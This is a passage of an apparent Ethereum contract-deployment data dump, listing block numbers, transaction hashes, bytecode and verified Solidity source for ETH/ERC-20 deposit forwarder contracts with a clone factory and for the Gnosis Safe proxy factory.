TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,494,916 | 1cfbc2d01c30f2795947631519c87fd016e6048a1f320daad51bfa48fa23f584 | 7a0f6ac4010929adba82c59033a6356eb73ea100a466c25d119687087df98bf1 | e9b0732ad9f9a332c2dc26d40cabb024a60d3861 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 03b78305108e94884ca9d2a3d92e830a7030e216 | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 19,494,916 | 1cfbc2d01c30f2795947631519c87fd016e6048a1f320daad51bfa48fa23f584 | 61e24d224d719ce8d9a5a9c03bd07b50b9c7d0cf2993e09c7979222b6d922fd0 | 00bdb5699745f5b860228c8f939abf1b9ae374ed | ffa397285ce46fb78c588a9e993286aac68c37cd | 9553218f200226227b0065efe7d501eb0c9f9abd | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
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| |
1 | 19,494,932 | bedc30e858d3dc9f7487a582b211a3c7b0694e6b7155d6952a995defd3807ec8 | 71e0433dbac816d565978e5ac3fbef2fe49ed78fff5fc7759f8a15f0c7512f86 | d2c82f2e5fa236e114a81173e375a73664610998 | ffa397285ce46fb78c588a9e993286aac68c37cd | 5144d4ce705002e0f68ebe1f1bfe5c6c872b61a3 | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
1 | 19,494,933 | 25383a2ef9bcfcc39619cea533eda51e57ea8ca44131dd00381789af34e0a46c | 3aefe30f7f89215cb48742a1d4b0754ebf7485378ce378363224e1760af34d11 | 5acaf7c064f609c1ac40648f200d1160cb3b054f | ffa397285ce46fb78c588a9e993286aac68c37cd | 8b1255c3bbd9e58843427b9951e7f63209c6496d | 3d602d80600a3d3981f3363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d73059ffafdc6ef594230de44f824e2bd0a51ca5ded5af43d82803e903d91602b57fd5bf3 | pragma solidity 0.7.5;
/*
The MIT License (MIT)
Copyright (c) 2018 Murray Software, LLC.
Permission is hereby granted, free of charge, to any person obtaining
a copy of this software and associated documentation files (the
"Software"), to deal in the Software without restriction, including
without limitation the rights to use, copy, modify, merge, publish,
distribute, sublicense, and/or sell copies of the Software, and to
permit persons to whom the Software is furnished to do so, subject to
the following conditions:
The above copyright notice and this permission notice shall be included
in all copies or substantial portions of the Software.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY
CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT,
TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE
SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.
*/
//solhint-disable max-line-length
//solhint-disable no-inline-assembly
contract CloneFactory {
function createClone(address target, bytes32 salt)
internal
returns (address payable result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the clone contract data
let clone := mload(0x40)
// The bytecode block below is responsible for contract initialization
// during deployment, it is worth noting the proxied contract constructor will not be called during
// the cloning procedure and that is why an initialization function needs to be called after the
// clone is created
mstore(
clone,
0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000
)
// This stores the address location of the implementation contract
// so that the proxy knows where to delegate call logic to
mstore(add(clone, 0x14), targetBytes)
// The bytecode block is the actual code that is deployed for each clone created.
// It forwards all calls to the already deployed implementation via a delegatecall
mstore(
add(clone, 0x28),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// deploy the contract using the CREATE2 opcode
// this deploys the minimal proxy defined above, which will proxy all
// calls to use the logic defined in the implementation contract `target`
result := create2(0, clone, 0x37, salt)
}
}
function isClone(address target, address query)
internal
view
returns (bool result)
{
bytes20 targetBytes = bytes20(target);
assembly {
// load the next free memory slot as a place to store the comparison clone
let clone := mload(0x40)
// The next three lines store the expected bytecode for a miniml proxy
// that targets `target` as its implementation contract
mstore(
clone,
0x363d3d373d3d3d363d7300000000000000000000000000000000000000000000
)
mstore(add(clone, 0xa), targetBytes)
mstore(
add(clone, 0x1e),
0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000
)
// the next two lines store the bytecode of the contract that we are checking in memory
let other := add(clone, 0x40)
extcodecopy(query, other, 0, 0x2d)
// Check if the expected bytecode equals the actual bytecode and return the result
result := and(
eq(mload(clone), mload(other)),
eq(mload(add(clone, 0xd)), mload(add(other, 0xd)))
)
}
}
}
/**
* Contract that exposes the needed erc20 token functions
*/
abstract contract ERC20Interface {
// Send _value amount of tokens to address _to
function transfer(address _to, uint256 _value)
public
virtual
returns (bool success);
// Get the account balance of another account with address _owner
function balanceOf(address _owner)
public
virtual
view
returns (uint256 balance);
}
// helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false
library TransferHelper {
function safeApprove(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('approve(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeApprove: approve failed'
);
}
function safeTransfer(
address token,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transfer(address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::safeTransfer: transfer failed'
);
}
function safeTransferFrom(
address token,
address from,
address to,
uint256 value
) internal {
// bytes4(keccak256(bytes('transferFrom(address,address,uint256)')));
(bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value));
require(
success && (data.length == 0 || abi.decode(data, (bool))),
'TransferHelper::transferFrom: transferFrom failed'
);
}
function safeTransferETH(address to, uint256 value) internal {
(bool success, ) = to.call{value: value}(new bytes(0));
require(success, 'TransferHelper::safeTransferETH: ETH transfer failed');
}
}
/**
* Contract that will forward any incoming Ether to the creator of the contract
*
*/
contract Forwarder {
// Address to which any funds sent to this contract will be forwarded
address public parentAddress;
event ForwarderDeposited(address from, uint256 value, bytes data);
/**
* Initialize the contract, and sets the destination address to that of the creator
*/
function init(address _parentAddress) external onlyUninitialized {
parentAddress = _parentAddress;
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
// NOTE: since we are forwarding on initialization,
// we don't have the context of the original sender.
// We still emit an event about the forwarding but set
// the sender to the forwarder itself
emit ForwarderDeposited(address(this), value, msg.data);
}
/**
* Modifier that will execute internal code block only if the sender is the parent address
*/
modifier onlyParent {
require(msg.sender == parentAddress, 'Only Parent');
_;
}
/**
* Modifier that will execute internal code block only if the contract has not been initialized yet
*/
modifier onlyUninitialized {
require(parentAddress == address(0x0), 'Already initialized');
_;
}
/**
* Default function; Gets called when data is sent but does not match any other function
*/
fallback() external payable {
flush();
}
/**
* Default function; Gets called when Ether is deposited with no data, and forwards it to the parent address
*/
receive() external payable {
flush();
}
/**
* Execute a token transfer of the full balance from the forwarder token to the parent address
* @param tokenContractAddress the address of the erc20 token contract
*/
function flushTokens(address tokenContractAddress) external onlyParent {
ERC20Interface instance = ERC20Interface(tokenContractAddress);
address forwarderAddress = address(this);
uint256 forwarderBalance = instance.balanceOf(forwarderAddress);
if (forwarderBalance == 0) {
return;
}
TransferHelper.safeTransfer(
tokenContractAddress,
parentAddress,
forwarderBalance
);
}
/**
* Flush the entire balance of the contract to the parent address.
*/
function flush() public {
uint256 value = address(this).balance;
if (value == 0) {
return;
}
(bool success, ) = parentAddress.call{ value: value }('');
require(success, 'Flush failed');
emit ForwarderDeposited(msg.sender, value, msg.data);
}
}
contract ForwarderFactory is CloneFactory {
address public implementationAddress;
event ForwarderCreated(address newForwarderAddress, address parentAddress);
constructor(address _implementationAddress) {
implementationAddress = _implementationAddress;
}
function createForwarder(address parent, bytes32 salt) external {
// include the signers in the salt so any contract deployed to a given address must have the same signers
bytes32 finalSalt = keccak256(abi.encodePacked(parent, salt));
address payable clone = createClone(implementationAddress, finalSalt);
Forwarder(clone).init(parent);
emit ForwarderCreated(clone, parent);
}
} |
